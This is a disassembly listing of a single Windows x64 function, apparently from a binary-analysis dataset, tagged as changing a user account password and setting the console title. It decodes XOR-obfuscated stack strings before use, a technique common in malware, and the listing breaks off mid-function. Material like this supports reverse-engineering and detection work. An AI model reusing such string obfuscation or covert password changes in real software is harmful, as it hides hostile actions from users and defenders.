Function at 0x140012070
Capabilities:
Change user account password
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x660
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400ad280]
xor rax, rsp
mov qword [rbp + 0x600], rax
xor edi, edi
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0x2e0], edi
lea rdx, [rbp + 0x2e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x1400120eb
mov edx, dword [rbp + 0x2e0]
or edx, 4
mov dword [rbp + 0x2e0], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
movabs rax, 0x4c2b83c44945f357
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x340], rax
movabs rax, 0x34b67fd4d63fe346
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x348], rax
movabs r15, 0x369aef5020bb205
mov qword [rbp + 0x2a0], r15
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c0], rax
movabs r12, 0x34b67fd49373b712
mov qword [rbp + 0x2a0], r12
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movabs rax, 0x2f5c96d5676fdd68
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x340], rax
movabs rax, 0x34b67fd493738426
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x2a0], r15
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2a0], r12
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
lea rcx, [rbp + 0x340]
call fcn.1400653d8
movabs rax, 0x23498ed5222bb80f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp], rax
movabs rax, 0x14965fdeb3539732
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 8], rax
movabs rax, 0xd325539f31e7c117
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x10], rax
movabs rax, 0xa6ca14111a343d1c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x18], rax
movabs rax, 0xf7ca022ea2553886
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x20], rax
movabs rax, 0xd9cf68e0672b8cd9
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x28], rax
movabs rax, 0x87a0081b562c1c54
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x30], rax
movabs rax, 0x328c4c353903577f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x38], rax
movabs rax, 0xd8b86dd31ed0c52
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x40], rax
movabs rax, 0x3c3833e33922cf65
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x48], rax
movabs rax, 0x57cc35c7ca0e3a95
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x50], rax
movabs rax, 0x3d584416c6ca8184
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x58], rax
movabs rax, 0xa989b859fdd45421
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x60], rax
movabs rax, 0x8eb23ec8e038840e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x68], rax
movabs rax, 0x32d0f243307f0aef
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x70], rax
movabs rax, 0x3ec21132adac98d4
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x78], rax
movabs rax, 0x29284d851612c835
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x80], rax
movabs rax, 0x456f9c24d2574502
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x88], rax
movabs rax, 0xb6d875651a7d6d67
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x90], rax
movabs rax, 0x60bbaedee42fad6c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x98], rax
movabs rax, 0x6d98dbdda31aa849
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xa0], rax
movabs rax, 0xd2980ad0205542b6
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xa8], rax
movabs rax, 0x975f6917ffe62b3b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xb0], rax
movabs rax, 0x419c7e67c224810
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xb8], rax
movabs rax, 0x7eee1e72a00c0dbd
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xc0], rax
movabs rax, 0xb28e69cc3a6d316a
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xc8], rax
movabs rax, 0x74d26848d3e9ed0f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xd0], rax
movabs rax, 0x1c5258464cd0dd3e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xd8], rax
movabs rax, 0xaeeaa00936ad04b1
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xe0], rax
movabs rax, 0xd8a4dc381539259e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xe8], rax
movabs rax, 0x44b1756faa56e403
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xf0], rax
movabs rax, 0xf21a62e2fd8cd118
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xf8], rax
movabs rax, 0xa384a0f5fab0c685
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x100], rax
movabs rax, 0x62eeb594749a6212
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x108], rax
movabs rax, 0x351f12bffad04977
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x110], rax
movabs rax, 0x84ef1124087f4283
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x118], rax
movabs rax, 0x200b41f183d98459
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x120], rax
movabs rax, 0x4adb5b808de22086
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x128], rax
movabs rax, 0xd2b369bbafc8418b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x130], rax
movabs rax, 0xf7b6ed6a31a76e3c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x138], rax
movabs rax, 0xf812c4fdd98be70d
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x140], rax
movabs rax, 0x8d52783c9aeaa67a
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x148], rax
movabs rax, 0xbd0e4198731ec69f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x150], rax
movabs rax, 0x6e9dd4c996004964
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x158], rax
movabs rax, 0x3f1781790008f72b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x160], rax
movabs rax, 0xa267f5e835f7536e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x168], rax
movabs rax, 0x15043063d8f5c1cf
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x170], rax
movabs rax, 0xb63c36d24f7b90e8
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x178], rax
movabs rax, 0x9e58af25209f8e95
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x180], rax
movabs rax, 0x88f952c44a4451e2
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x188], rax
movabs rax, 0xceae79efa79da9c7
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x190], rax
movabs rax, 0x2b362e7e5ea8334c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x198], rax
movabs rax, 0x843e638bd8d04fd6
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x7e2fc7f03fb38216
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xcce5571457371f9b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa23410a50e3e828f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x283be82d260b9ee2
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x7df0ea6c9e6ef6b5
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x2c08dbd7d2b0cc90
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1515bd193231da0b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x981a7563d9e576e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x4359aed8922ef154
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x522c0bd3977bfa63
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x322da69e9801df8
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x1d6a99524450c0a
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x200], rax
movabs rax, 0xcca9eec4ba882d06
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x208], rax
movabs rax, 0xc7190033975c832
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x210], rax
movabs rax, 0xc82a64a1e22842f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x218], rax
movabs rax, 0xb296ab7ac78e4036
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x220], rax
movabs rax, 0xd8c074804ec42d89
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x2a0], r15
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x2a0], r12
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3c8], rax
movabs r14, 0xf30573bf11c7e137
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3d0], rax
movabs rsi, 0xf9954b4e45141d3c
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x869037c04774d386
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xd8ff283b0973430b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x6dac6c6a665c0820
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3f8], rax
movabs r13, 0x2daba6fd11cd530d
mov qword [rbp + 0x2a0], r13
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x400], rax
movabs rax, 0x1c676cbc667d903a
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x408], rax
movabs rax, 0x77ec15e7ea2e1a9f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x410], rax
movabs rax, 0x1d246436e6eaa1a4
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x418], rax
movabs rax, 0xd5f59879ddf40b01
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x420], rax
movabs rax, 0xf2921ee8c018a42e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x428], rax
movabs rax, 0x12f0d263105f2a93
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x430], rax
movabs rax, 0x1ee231128d8ce4a8
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x438], rax
movabs rax, 0x9546da5366eb415
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x440], rax
movabs rax, 0x654fbc04ae776522
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x448], rax
movabs rax, 0x96f8556f665d4d47
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x450], rax
movabs rax, 0x409b8efec40f8d4c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x458], rax
movabs rax, 0x4de484a183668869
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x460], rax
movabs rax, 0x8db82af05c296296
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x468], rax
movabs rax, 0xb77f366b83c60b1b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x470], rax
movabs rax, 0x2446bb9a23026830
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x478], rax
movabs rax, 0x5e92622d802c2d9d
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x480], rax
movabs rax, 0xceae49ec1a11114a
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x488], rax
movabs rax, 0x88d3717f3c9cd2f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x490], rax
movabs rax, 0x3c7278666cf0fd34
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x498], rax
movabs rax, 0x8e968029168d2491
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xa4d8fc18351905be
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x389155138a2ac423
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xd26642c2ddf0f138
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xdfa480d58690e6a5
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x429295b454e64232
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x493f329f86f06957
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4d0], rax
movabs rax, 0xa4cf312e28201ddc
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x2b61d1a3f9a479
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x6afb04a0ad9e00a6
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x8dcf499bd3e83dab
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xd7cacd4a4d874e40
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x8432e4ddf9f7c72d
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x500], rax
movabs rax, 0xad2e581ce6ca865a
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x508], rax
movabs rax, 0xc12e1ec72c62e6bf
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x510], rax
movabs rax, 0x12c28b96b6206944
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x518], rax
movabs rax, 0x1f37a1592028d721
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x520], rax
movabs rax, 0x821bd5c815d7734e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x528], rax
movabs rax, 0x69781043f8899eb3
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x530], rax
movabs rax, 0xca1c16f26f5bb0c8
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x538], rax
movabs rax, 0xbe248f0500e3aeb5
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x540], rax
movabs rax, 0xf4d972e4366471c2
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x548], rax
movabs rax, 0xee8e59cf87e189e7
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x550], rax
movabs rax, 0x57160e5e22d4136c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x558], rax
movabs rax, 0xa41e4381f88f1089
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x560], rax
movabs rax, 0x5e0fe7d01f93a236
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x568], rax
movabs rax, 0x93ba084b084b3fbb
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x570], rax
movabs rax, 0xfd6b4ffa7242ddd0
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x578], rax
movabs rax, 0x7747c80d5a54c1bd
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x580], rax
movabs rax, 0x1d0ca4cbe12a9ea
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x588], rax
movabs rax, 0x7374fbf7aeef93cf
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x590], rax
movabs rax, 0x6969e2466d6e8554
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x598], rax
movabs rax, 0x75def80962c10831
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5a0], rax
movabs rax, 0x63798ef8b20ed15e
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x720c2bf3b75bda43
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x4b71eb22a7c14fd8
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x5599ebb509655c45
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x86e6bc949acd6152
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x4535b07f19218b77
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x4bc5880e4c6dc77c
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5d8], rax
movabs rax, 0xfac59a3189cf1219
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xd8c074804ece7dc6
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x5e8], rax
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp], ymm1
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqa xmm0, xmmword [rbp + 0x220]
vxorps xmm0, xmm0, xmmword [rbp + 0x5e0]
vmovdqa xmmword [rbp + 0x220], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x2e8], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x2f8], xmm1
lea rax, [rbp]
mov rbx, 0xffffffffffffffff
mov r8, rbx
vzeroupper
inc r8
cmp byte [rax + r8], dil
jne 0x140013487
lea rdx, [rbp]
lea rcx, [rbp + 0x2e8]
call fcn.14001e710
nop
lea rcx, [rbp + 0x2e8]
call fcn.140009120
movabs rax, 0x6a1dc0906a7fc744
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x1a9818bafa07d671
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xf30573bf11c7eb19
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2a0], r15
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x2a0], r12
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x358], rax
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x340], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x350], xmm1
lea rax, [rbp + 0x2c0]
mov r8, rbx
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x1400135b0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x340]
call fcn.14001e710
nop
mov edx, 1
lea rcx, [rbp + 0x340]
call fcn.140009bd0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0xf
jbe 0x140013621
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001361c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d45
call fcn.14004e370
movdqa xmm0, xmmword [0x14009b790]
movdqu xmmword [rbp + 0x350], xmm0
mov byte [rbp + 0x340], 0
lea rcx, [0x1400b40b0]
call fcn.14000c7f0
lea rdx, [0x140099a54]
lea rcx, [0x1400b2200]
call fcn.14001d090
movabs rax, 0x6a258e87677fdc40
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x148c5fb1e01dd271
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
